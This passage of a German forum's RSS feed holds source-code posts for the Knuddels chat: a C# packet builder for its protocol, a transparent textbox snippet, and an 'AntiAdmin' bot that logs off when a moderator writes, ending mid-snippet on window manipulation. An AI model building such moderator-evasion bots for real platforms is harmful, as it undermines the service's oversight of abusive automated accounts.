<br />
<br />
<br />
        internal String packet = &quot;&quot;;<br />
        internal String&#91;&#93; tokens;<br />
        internal DateTime _time;<br />
        public DateTime time<br />
        {<br />
            get <br />
            { <br />
                if(_time==null)<br />
                    _time = DateTime.Now;<br />
                return _time; <br />
            }<br />
        <br />
<br />
        }<br />
<br />
        public Packet()<br />
        {<br />
            _time = DateTime.Now;<br />
            this.packet = &quot;&quot;;<br />
            tokens = packet.Split('\0');<br />
        }<br />
        public Packet(String packet)<br />
        {<br />
            _time = DateTime.Now;<br />
            this.packet = packet;<br />
            tokens = packet.Split('\0');<br />
        }<br />
        public String me<br />
        {<br />
            get { return packet; }<br />
            set { packet=value; tokens = packet.Split('\0'); }<br />
        }<br />
<br />
        public String this&#91;int index&#93;  <br />
        {<br />
            get <br />
            { <br />
                if (tokens.Length &gt; index) return tokens&#91;index&#93;; <br />
                return null;<br />
            }<br />
            set<br />
            {<br />
                if (tokens.Length &gt; index) tokens&#91;index&#93; = value;<br />
                rebuild();<br />
            }<br />
            <br />
        }<br />
        internal void rebuild()<br />
        {<br />
            packet = &quot;&quot;;<br />
            foreach (String tok in tokens)<br />
            {<br />
                packet += tok + &quot;\0&quot;;<br />
            }<br />
            packet = packet.Substring(0, packet.Length - 1);<br />
            tokens = packet.Split('\0');<br />
<br />
<br />
        }<br />
        override public String ToString() { return packet; }<br />
        public static Packet getRealPacket(String msg, bool send) <br />
        {<br />
            try<br />
            {<br />
                String pack = getRealPacketName(msg, send);<br />
                Type type = Type.GetType(&quot;KNDeKaDeNz.Net.&quot; + pack);<br />
                Object obj = Activator.CreateInstance(type, msg);<br />
                return (Packet)obj;<br />
            }<br />
            catch(Exception e)<br />
            {<br />
                Console.WriteLine(&quot;CAST ERROR:&quot; + e.Message);<br />
                return new Packet();<br />
            }<br />
        }<br />
        public static String getRealPacketName(Packet p, bool send) <br />
        {<br />
            return getRealPacketName(p.packet,send);<br />
        }<br />
        public static String getRealPacketName(String msg, bool send) <br />
        {<br />
            if(send)<br />
            {<br />
                if (msg&#91;0&#93; == 'h') return &quot;OutPingAnswer&quot;;<br />
                if (msg&#91;0&#93; == 'e')<br />
                {<br />
                    try { new OutPrivateMessage(msg); return &quot;OutPrivateMessage&quot;; }<br />
                    catch { }<br />
                    return &quot;OutPublicMessage&quot;;<br />
                }<br />
            }<br />
            if (msg&#91;0&#93; == ',') return &quot;InPingReceive&quot;;<br />
            if (msg&#91;0&#93; == 'e') return &quot;InPublicMessage&quot;;<br />
            if (msg&#91;0&#93; == 'r') return &quot;InPrivateMessage&quot;;<br />
<br />
<br />
            return &quot;Packet&quot;;<br />
        }<br />
<br />
    }<br />
    public class WrongPacketException : Exception<br />
    {<br />
        public WrongPacketException(String msg) : base(msg.Replace(&quot;\0&quot;, &quot;\\0&quot;)) { }<br />
    }<br />
<br />
    public class InPingReceive : Packet<br />
    {<br />
        private String _nick;<br />
        private Int64 _pingID;<br />
<br />
        public OutPingAnswer getAnswer()<br />
        {<br />
            if (_nick == null) return new OutPingAnswer();<br />
            return new OutPingAnswer(_nick, _pingID);<br />
        }<br />
<br />
        public InPingReceive(String nick, Int64 pingID)<br />
        {<br />
            _time = DateTime.Now;<br />
            this._nick = nick;<br />
            this._pingID = pingID;<br />
            this.packet = &quot;,\0&quot;+nick + &quot;|&quot; + pingID;<br />
            this.tokens = packet.Split('\0');<br />
        }<br />
<br />
        public InPingReceive(String msg) : base(msg)<br />
        {<br />
            if (msg&#91;0&#93; != ',') throw new WrongPacketException(&quot;\n&quot; + msg + &quot;\nis not a ping receive&quot;);<br />
            if (msg == &quot;,&quot;) { _nick = null; _pingID = 0; }<br />
            else<br />
            {<br />
                Console.WriteLine(msg.Replace(&quot;\0&quot;, &quot;\\0&quot;));<br />
                string&#91;&#93; info = this&#91;1&#93;.Split('|');<br />
              <br />
                if (info.Length != 2) throw new WrongPacketException(&quot;\n&quot; + msg + &quot;\nis not a valid ping receive&quot;);<br />
                _nick = info&#91;0&#93;.Trim();<br />
                try { _pingID = Int64.Parse(info&#91;1&#93;.Trim()); }<br />
                catch { throw new WrongPacketException(&quot;\n&quot; + msg + &quot;\nis not a valid ping receive&quot;); }<br />
            }<br />
<br />
        }<br />
        public String nick<br />
        {<br />
            set <br />
            {<br />
                if (value == null)<br />
                {<br />
                    _nick = null;<br />
                    _pingID = 0;<br />
                    this.packet = &quot;,&quot;;<br />
                }<br />
                else<br />
                {<br />
                    _nick = value;<br />
                    this.packet = &quot;,\0&quot; + _nick + &quot;|&quot; + _pingID;<br />
                }<br />
                this.tokens = packet.Split('\0');<br />
            }<br />
            get { return _nick; }<br />
        }<br />
        public Int64 pingID<br />
        {<br />
            set<br />
            {<br />
                if (_nick == null) _nick = &quot;&quot;;<br />
                _pingID = value;<br />
                this.packet = &quot;,\0&quot; + _nick + &quot;|&quot; + _pingID;<br />
                this.tokens = packet.Split('\0');<br />
<br />
            }<br />
            get { return _pingID; }<br />
        }<br />
<br />
        <br />
    }<br />
    public class InPublicMessage : Packet<br />
    {<br />
        public InPublicMessage(String message, String channel, String from) <br />
        {<br />
           _time = DateTime.Now;<br />
           packet = &quot;e\0&quot;+from+&quot;\0&quot;+channel+&quot;\0&quot;+message+&quot;\0&quot;;<br />
           tokens = packet.Split('\0');<br />
        }<br />
<br />
<br />
        public InPublicMessage(String packet) : base(packet)<br />
        {<br />
            if(tokens&#91;0&#93; != &quot;e&quot;) throw new WrongPacketException(&quot;\n&quot;+packet+&quot;\nis not a public message&quot;);<br />
        }<br />
<br />
        public String message {<br />
            get { return this&#91;3&#93;; }<br />
            set { this&#91;3&#93; = value; }<br />
        }<br />
        public String channel {<br />
            get { return this&#91;2&#93;; }<br />
            set { this&#91;2&#93; = value; }<br />
        }<br />
        public String from {<br />
            get { return this&#91;1&#93;; }<br />
            set { this&#91;1&#93; = value; }<br />
        }<br />
        public String picUrl {<br />
            get { if(this&#91;4&#93;.Trim() == &quot;&quot;) return null; return this&#91;4&#93;; }<br />
            set <br />
            { <br />
                if(this&#91;4&#93;.Trim() == &quot;&quot;) <br />
                {<br />
                    packet = &quot;e\0&quot;+from+&quot;\0&quot;+channel+&quot;\0&quot;+message+&quot;\0&quot;+value+&quot;\0&quot;+from+&quot;\0&quot;+&quot;0&quot;+&quot;\0&quot;+&quot;10&quot;;<br />
                    tokens = packet.Split();<br />
                }<br />
                else { this&#91;4&#93; = value; }<br />
            }<br />
        }<br />
    }<br />
    public class InPrivateMessage : Packet<br />
    {<br />
        public InPrivateMessage(String message, String channel, String from, String to, String channelOfSender)<br />
        {<br />
            _time = DateTime.Now;<br />
            packet = &quot;r\0&quot; + from + &quot;\0&quot;+to+&quot;\0&quot; + channel + &quot;\0&quot; + message + &quot;\0&quot;+channelOfSender;<br />
            String&#91;&#93; tmp = to.Split(',');<br />
            _to = new String&#91;tmp.Length&#93;;<br />
            for(int i = 0; i &lt; _to.Length; i++)<br />
                _to&#91;i&#93; = tmp&#91;i&#93;.Trim();<br />
<br />
            tokens = packet.Split('\0');<br />
        }<br />
<br />
<br />
        public InPrivateMessage(String packet) : base(packet)<br />
        {<br />
            if (tokens&#91;0&#93; != &quot;r&quot;) throw new WrongPacketException(&quot;\n&quot; + packet + &quot;\nis not a private message&quot;);<br />
            String&#91;&#93; tmp = tokens&#91;2&#93;.Split(',');<br />
            _to = new String&#91;tmp.Length&#93;;<br />
            for(int i = 0; i &lt; _to.Length; i++)<br />
            {<br />
                _to&#91;i&#93; = tmp&#91;i&#93;.Trim();<br />
            }<br />
        }<br />
        public String message<br />
        {<br />
            get { return this&#91;4&#93;; }<br />
            set { this&#91;4&#93; = value; }<br />
        }<br />
        public String channel<br />
        {<br />
            get { return this&#91;3&#93;; }<br />
            set { this&#91;3&#93; = value; }<br />
        }<br />
        public String from<br />
        {<br />
            get { return this&#91;1&#93;; }<br />
            set { this&#91;1&#93; = value; }<br />
        }<br />
        private String&#91;&#93; _to;<br />
        public String&#91;&#93; to<br />
        {<br />
            get { return _to; }<br />
            set { _to = value;<br />
                string tmp=&quot;&quot;;<br />
               for(int i = 0; i &lt; _to.Length; i++)<br />
               {<br />
                   tmp += _to&#91;i&#93;;<br />
                   if(i!=(to.Length-1)) tmp+=',';<br />
                   this&#91;2&#93; = tmp;<br />
               }<br />
            }<br />
        }<br />
        public String channelOfSender<br />
        {<br />
            get { return this&#91;5&#93;; }<br />
            set { this&#91;5&#93; = value; }<br />
        }<br />
<br />
    }<br />
<br />
<br />
    public class OutPrivateMessage : Packet<br />
    {<br />
        private OutPublicMessage e = null;<br />
        public OutPrivateMessage(String packet) : base(packet)<br />
        {<br />
            if (tokens&#91;0&#93; != &quot;e&quot;) throw new WrongPacketException(&quot;\n&quot; + packet + &quot;\nis not a private message&quot;);<br />
            if (!tokens&#91;2&#93;.StartsWith(&quot;/p &quot;)) throw new WrongPacketException(&quot;\n&quot; + packet + &quot;\nis not a private message&quot;);    <br />
            string tmp = tokens&#91;2&#93;.Substring(2);<br />
            if(tmp.Split(':').Length &lt;2) throw new WrongPacketException(&quot;\n&quot; + packet + &quot;\nis not a valid private message&quot;);    <br />
            tmp = tmp.Split(':')&#91;0&#93;.Trim();<br />
            string&#91;&#93; nicks = tmp.Split(',');<br />
            foreach(String nick in nicks)<br />
            {<br />
                if(nick.Trim()==&quot;&quot;) throw new WrongPacketException(&quot;\n&quot; + packet + &quot;\nis not a valid private message&quot;);    <br />
            }<br />
            e = new OutPublicMessage(this.packet);<br />
            <br />
        }<br />
<br />
        public OutPrivateMessage(String to, String message, String channel)<br />
        {<br />
            _time = DateTime.Now;<br />
            e = new OutPublicMessage(&quot;/p &quot; + to.Trim() + &quot;:&quot; + message, channel);<br />
            this.packet = e.packet;<br />
            this.tokens = e.packet.Split('\0');<br />
<br />
        }<br />
<br />
        public String&#91;&#93; to<br />
        {<br />
            get<br />
            {<br />
                string tmp = tokens&#91;2&#93;.Substring(2);<br />
                return tmp.Split(':')&#91;0&#93;.Split(',');<br />
            }<br />
            set<br />
            {<br />
                string tmp = &quot;&quot;;<br />
                for (int i = 0; i &lt; value.Length; i++)<br />
                {<br />
                    tmp += value&#91;0&#93;;<br />
                    if (i != (to.Length - 1)) tmp += ',';<br />
<br />
                    <br />
                    <br />
                }<br />
<br />
                string message = this.message;<br />
                e.message = &quot;/p &quot; + tmp + &quot;:&quot; + message;<br />
                this.tokens = e.tokens;<br />
                this.rebuild();<br />
<br />
            }<br />
           <br />
<br />
        }<br />
<br />
        public String message<br />
        {<br />
            get <br />
            { <br />
                string tmp = tokens&#91;2&#93;.Substring(2);<br />
                return tmp.Split(':')&#91;1&#93;.Trim();<br />
            }<br />
            set <br />
            {<br />
                string tmp = tokens&#91;2&#93;.Substring(2);<br />
                string nicks = tmp.Split(':')&#91;0&#93;.Trim();<br />
                string message = tmp.Split(':')&#91;1&#93;.Trim();<br />
                message = value;<br />
                e.message = &quot;/p &quot;+nicks+&quot;:&quot;+message;<br />
                this.tokens = e.tokens;<br />
                this.rebuild();<br />
            }<br />
        }<br />
        public String channel<br />
        {<br />
            get { return e.channel; }<br />
            set { e.channel = value; this.tokens = e.tokens; this.rebuild();  }<br />
        }<br />
<br />
        <br />
    }<br />
    public class OutPublicMessage : Packet<br />
    {<br />
        public OutPublicMessage(String message, String channel) <br />
        {<br />
            _time = DateTime.Now;<br />
           packet = &quot;e\0&quot;+channel+&quot;\0&quot;+message;<br />
           tokens = packet.Split('\0');<br />
        }<br />
<br />
<br />
        public OutPublicMessage(String packet) : base(packet) <br />
        {<br />
            if(tokens&#91;0&#93; != &quot;e&quot;) throw new WrongPacketException(&quot;\n&quot;+packet+&quot;\nis not a public message&quot;);<br />
        }<br />
<br />
        public String message <br />
        {<br />
            get { return this&#91;2&#93;; }<br />
            set { this&#91;2&#93; = value; }<br />
        }<br />
        public String channel <br />
        {<br />
            get { return this&#91;1&#93;; }<br />
            set { this&#91;1&#93; = value; }<br />
        }<br />
       <br />
    }<br />
    public class OutMailMessage : Packet<br />
    {<br />
        public OutMailMessage(String receiver, String msg, String chan, bool sig) : this(receiver, &quot;&quot;, msg, chan, sig) { }<br />
        public OutMailMessage(String receiver, String subj, String msg, String chan, bool sig)<br />
        {<br />
            this.packet = &quot;post\0post\0Senden\0&quot; + receiver + &quot;\0&quot; + subj + &quot;\0&quot; + (sig ? 1 : 0) + &quot;\0&quot; + msg;<br />
            tokens = packet.Split('\0');<br />
<br />
        }<br />
        public OutMailMessage(String msg)<br />
        {<br />
            String&#91;&#93; tmp = msg.Split('\0');<br />
            if (tmp&#91;0&#93; == &quot;post&quot;)<br />
            {<br />
                if (tmp&#91;1&#93; != &quot;post&quot; || tmp&#91;2&#93; != &quot;Senden&quot;) throw new WrongPacketException(&quot;\n&quot; + msg + &quot;\n is not a valid OutMailMessage&quot;);<br />
                if (tmp.Length != 7) throw new WrongPacketException(&quot;\n&quot; + msg + &quot;\nis not a valid OutMailMessage&quot;);<br />
                if (tmp&#91;5&#93; != &quot;0&quot; &amp;&amp; tmp&#91;5&#93; != &quot;1&quot;) throw new WrongPacketException(&quot;\n&quot; + msg + &quot;\n is not a valid OutMailMessage&quot;);<br />
                this.packet = &quot;post\0post\0Senden\0&quot; + tmp&#91;3&#93; + &quot;\0&quot; + tmp&#91;4&#93; + &quot;\0&quot; + tmp&#91;5&#93; + &quot;\0&quot; + tmp&#91;6&#93;;<br />
                tokens = packet.Split('\0');<br />
<br />
            }<br />
            else if (tmp&#91;0&#93; == &quot;e&quot;)<br />
            {<br />
                if (!tmp&#91;2&#93;.StartsWith(&quot;/m &quot;)) throw new WrongPacketException(&quot;\n&quot; + packet + &quot;\nis not a OutMailMessage&quot;);<br />
                string tmp2 = tokens&#91;2&#93;.Substring(2);<br />
                if (tmp2.Split('0').Length &lt; 2) throw new WrongPacketException(&quot;\n&quot; + packet + &quot;\nis not a valid OutMailMessage&quot;);<br />
                string nick = tmp2.Split(':')&#91;0&#93;.Trim();<br />
                string mes = tmp2.Replace(&quot;nick&quot;, &quot;&quot;).Trim();<br />
                string&#91;&#93; info = mes.Split('§');<br />
                string subj = &quot;&quot;, mes2 = &quot;&quot;;<br />
                if (info.Length &gt; 1)<br />
                {<br />
                    subj = info&#91;0&#93;;<br />
                    mes2 = mes.Replace(subj + &quot;§&quot;, &quot;&quot;);<br />
                }<br />
                else<br />
                    mes2 = info&#91;0&#93;;<br />
                this.packet = &quot;post\0post\0Senden\0&quot; + nick + &quot;\0&quot; + subj + &quot;\01\0&quot; + mes2;<br />
                tokens = packet.Split('\0');<br />
<br />
            }<br />
            else throw new WrongPacketException(&quot;\n&quot; + msg + &quot;\nis not a OutMailMessage&quot;);<br />
<br />
        }<br />
<br />
<br />
        public String to<br />
        {<br />
            set<br />
            {<br />
                this&#91;3&#93; = value;<br />
            }<br />
            get<br />
            {<br />
                return this&#91;3&#93;;<br />
            }<br />
        }<br />
        public String subject<br />
        {<br />
            set<br />
            {<br />
                this&#91;4&#93; = value;<br />
            }<br />
            get<br />
            {<br />
                return this&#91;4&#93;;<br />
            }<br />
        }<br />
        public String message<br />
        {<br />
            set<br />
            {<br />
                this&#91;6&#93; = value;<br />
            }<br />
            get<br />
            {<br />
                return this&#91;6&#93;;<br />
            }<br />
        }<br />
        public bool signature<br />
        {<br />
            set<br />
            {<br />
                this&#91;5&#93; = (value ? 1 : 0).ToString();<br />
            }<br />
            get<br />
            {<br />
                return (this&#91;5&#93; == &quot;1&quot; ? true : false);<br />
            }<br />
<br />
        }<br />
<br />
<br />
    }<br />
    public class OutPingAnswer : Packet<br />
    {<br />
        private String _nick;<br />
        private Int64 _pingID;<br />
<br />
        public OutPingAnswer(String nick, Int64 pingID)<br />
        {<br />
            _time = DateTime.Now;<br />
            this._nick = nick;<br />
            this._pingID = pingID;<br />
            this.packet = &quot;h\0&quot; + nick + &quot;|&quot; + pingID;<br />
            this.tokens = packet.Split('\0');<br />
        }<br />
<br />
        public OutPingAnswer()<br />
        {<br />
            _time = DateTime.Now;<br />
            this._nick = null;<br />
            this._pingID = 0;<br />
            this.packet = &quot;h\0-&quot;;<br />
            this.tokens = packet.Split('\0');<br />
<br />
        }<br />
        public OutPingAnswer(string msg)<br />
            : base(msg)<br />
        {<br />
            if (msg&#91;0&#93; != 'h') throw new WrongPacketException(&quot;\n&quot; + msg + &quot;\nis not a ping answer&quot;);<br />
            if (msg == &quot;h\0-&quot;) { _nick = null; _pingID = 0; return; }<br />
            string&#91;&#93; info = this&#91;1&#93;.Split('|');<br />
            if (info.Length != 2) throw new WrongPacketException(&quot;\n&quot; + msg + &quot;\nis not a valid ping answer&quot;);<br />
            _nick = info&#91;0&#93;.Trim();<br />
            try { _pingID = Int64.Parse(info&#91;1&#93;.Trim()); }<br />
            catch { throw new WrongPacketException(&quot;\n&quot; + msg + &quot;\nis not a valid ping answer&quot;); }<br />
<br />
        }<br />
<br />
        public String nick<br />
        {<br />
            set<br />
            {<br />
                if (value == null)<br />
                {<br />
                    _nick = null;<br />
                    _pingID = 0;<br />
                    this.packet = &quot;h\0-&quot;;<br />
                }<br />
                else<br />
                {<br />
                    _nick = value;<br />
                    this.packet = &quot;h\0&quot; + _nick + &quot;|&quot; + _pingID;<br />
                }<br />
                this.tokens = packet.Split('\0');<br />
            }<br />
            get { return _nick; }<br />
        }<br />
        public Int64 pingID<br />
        {<br />
            set<br />
            {<br />
                if (_nick == null) _nick = &quot;&quot;;<br />
                _pingID = value;<br />
                this.packet = &quot;h\0&quot; + _nick + &quot;|&quot; + _pingID;<br />
                this.tokens = packet.Split('\0');<br />
<br />
            }<br />
            get { return _pingID; }<br />
        }<br />
<br />
<br />
<br />
    }<br />
<br />
}
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>DeKaDeNz</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-packet-builder-3886</guid>
		</item>
		<item>
			<title><![CDATA[[VB.NET] Transparente Richtext/Textbox]]></title>
			<link>sourcecode-91/vb-net-transparente-richtext-textbox-3655?goto=newpost</link>
			<pubDate>Wed, 21 Dec 2011 11:59:19 GMT</pubDate>
			<description>Hallo, 
da ich auf der Suche nach einer Transparente Richtext/Textbox war um ein Hintergrundbild in der Richtext/Textbox zu haben bin ich auf das...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
da ich auf der Suche nach einer Transparente Richtext/Textbox war um ein Hintergrundbild in der Richtext/Textbox zu haben bin ich auf das gestoßen.<br />
(Quelle reich ich nach wenn ich sie wieder finde...) <br />
<br />
<b>Kurze Erklärung </b><br />
<br />
Euerm Projekt folgende Verweise einfügen<br />
System.Windows.Forms<br />
System.Runtime.InteropServices<br />
<br />
Neue UserControl Klasse erstellen hier ist der Name &quot;Transparente_RichTextbox&quot; könnt ihr aber beliebig ändern und folgende Code einfügen.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Imports System.Runtime.InteropServices<br />
<br />
Public Class Transparente_RichTextbox<br />
&nbsp; &nbsp; Inherits RichTextBox&nbsp; '<font color="seagreen">Hier einfach zwischen Textbox oder RichTextBox wählen</font><br />
&nbsp; &nbsp; &lt;DllImport(&quot;kernel32.dll&quot;, SetLastError:=True)&gt; _<br />
&nbsp; &nbsp; Public Shared Function LoadLibrary(ByVal lpFileName As String) As IntPtr<br />
&nbsp; &nbsp; End Function<br />
&nbsp; &nbsp; Protected Overrides ReadOnly Property CreateParams() As CreateParams<br />
&nbsp; &nbsp; &nbsp; &nbsp; Get<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim prams As CreateParams = MyBase.CreateParams<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If LoadLibrary(&quot;msftedit.dll&quot;) &lt;&gt; IntPtr.Zero Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; prams.ExStyle = prams.ExStyle Or &amp;H20<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; prams.ClassName = &quot;RICHEDIT50W&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Return prams<br />
&nbsp; &nbsp; &nbsp; &nbsp; End Get<br />
&nbsp; &nbsp; End Property<br />
End Class</code><hr />
</div>Projekt Speichern, erstellen klicken und die erhaltene DLL in der Toolbox in eure Form einfügen.<br />
<br />
Viel Spaß :)</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>uncopyable</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-net-transparente-richtext-textbox-3655</guid>
		</item>
		<item>
			<title><![CDATA[[VB] Probleme mit Adminliste laden]]></title>
			<link>sourcecode-91/vb-probleme-mit-adminliste-laden-3556?goto=newpost</link>
			<pubDate>Mon, 19 Dec 2011 23:38:18 GMT</pubDate>
			<description>Hii liebe uh com, ich möchte gerne in mein stayonlinebot eine aa einbauen aber wenn man sich einloggt soll er die Admins adden, und per Label...</description>
			<content:encoded><![CDATA[<div>Hii liebe uh com, ich möchte gerne in mein stayonlinebot eine aa einbauen aber wenn man sich einloggt soll er die Admins adden, und per Label anzeigen die derzeit on sind. Ich habe zurzeit den code hier: <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Private Sub client_OnPopup(ByVal sender As Object, ByVal Message As String, ByVal token() As String) Handles client.OnPopup<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; If Message.Contains(&quot;Admins sind derzeit:#&quot;) Then<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim mc As MatchCollection = Regex.Matches(Message, &quot;°&gt;_h(.*?)\|&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; For Each match As Match In mc<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; adminList.Add(match.Groups(1).Value.Replace(&quot;\&quot;, &quot;&quot;))<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Next<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ' MessageBox.Show(adminList.Count.ToString)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Label6.Text = &quot;&quot; &amp; (adminList.Count.ToString)<br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'MessageBox.Show(Message, &quot;Popup&quot;)</code><hr />
</div>und hier ein Screen wie viele Admins er anzeigt<br />
screen: (Aufn screen ist nur ne Studie) <a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i43.tinypic.com/1zl9cnq.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
Also ich komm net weiter.<br />
Bitte um hilfe.<br />
<br />
Mfg</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>getsha</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-probleme-mit-adminliste-laden-3556</guid>
		</item>
		<item>
			<title><![CDATA[[VB] AntiAdmin - Nick geht nicht offline (Knuddels.de)]]></title>
			<link>sourcecode-91/vb-antiadmin-nick-geht-nicht-offline-knuddels-de-32254?goto=newpost</link>
			<pubDate>Mon, 19 Dec 2011 16:29:10 GMT</pubDate>
			<description>Liebe user, 
mach mich gerade wieder an das AA problem ran. 
Hab folgendes gemacht: 
Er sendet /h und liest die admins aus. Das ganze wird in einer...</description>
			<content:encoded><![CDATA[<div>Liebe user,<br />
mach mich gerade wieder an das AA problem ran.<br />
Hab folgendes gemacht:<br />
Er sendet /h und liest die admins aus. Das ganze wird in einer listview wiedergegeben ( die admins ).<br />
Nur hab ich jetzt das problem; WIe bekomme ich es hin, das der Nick offline geht bzw eine Reaktion zeigt, wenn der Admin mich anschreibt?<br />
<br />
Würde das hier gehen? <div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">If adminList.Contains(token(1)) Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MessageBox.Show(&quot; ADMIN HAT MICH ANGESCHRiEBEN!&quot;)<br />
client.sendmessage(&quot;/d&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If</code><hr />
</div>Ich weiß nicht wie ich es sonst machen sollte.<br />
<br />
Schonmal vielen Dank im Vorraus ;).</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Escobar</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-antiadmin-nick-geht-nicht-offline-knuddels-de-32254</guid>
		</item>
		<item>
			<title><![CDATA[[VB.NET] Knuddels Fenster manipulieren]]></title>
			<link>sourcecode-91/vb-net-knuddels-fenster-manipulieren-2674?goto=newpost</link>
			<pubDate>Sun, 11 Dec 2011 15:25:14 GMT</pubDate>
			<description>Hallo :) 
 
Hier mal die Source wie man das Fenster von Knuddels manipulieren kann bzw. was in den Chat Senden ohne Focus. 
 
Klasse *Win32API* 
...</description>
			<content:encoded><![CDATA[<div>Hallo :)<br />
<br />
Hier mal die Source wie man das Fenster von Knuddels manipulieren kann bzw. was in den Chat Senden ohne Focus.<br />
<br />
Klasse <b>Win32API</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'API&nbsp;Deklarationen&nbsp;/&nbsp;Structuresc&nbsp;usw..'<br /></span><span style="color: #007700">Public&nbsp;Class&nbsp;</span><span style="color: #0000BB">Win32API<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'FindWindow'<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">DllImport</span><span style="color: #007700">(</span><span style="color: #DD0000">"user32.dll"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">SetLastError</span><span style="color: #007700">:=</span><span style="color: #0000BB">True</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">CharSet</span><span style="color: #007700">:=</span><span style="color: #0000BB">CharSet</span><span style="color: #007700">.</span><span style="color: #0000BB">Auto</span><span style="color: #007700">)&gt;&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;</span><span style="color: #0000BB">Shared&nbsp;</span><span style="color: #007700">Function&nbsp;</span><span style="color: #0000BB">FindWindow</span><span style="color: #007700">(&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;lpClassName&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;lpWindowTitle&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">IntPtr<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">Function<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Declare&nbsp;</span><span style="color: #0000BB">Auto&nbsp;</span><span style="color: #007700">Function&nbsp;</span><span style="color: #0000BB">GetWindowText&nbsp;Lib&nbsp;</span><span style="color: #DD0000">"user32.dll"&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lpString&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;cch&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">Integer<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Declare&nbsp;Function&nbsp;</span><span style="color: #0000BB">GetClassName&nbsp;Lib&nbsp;</span><span style="color: #DD0000">"user32.dll"&nbsp;</span><span style="color: #0000BB">Alias&nbsp;</span><span style="color: #DD0000">"GetClassNameA"&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lpClassName&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;nMaxCount&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">Integer<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'FindWindowEx'<br 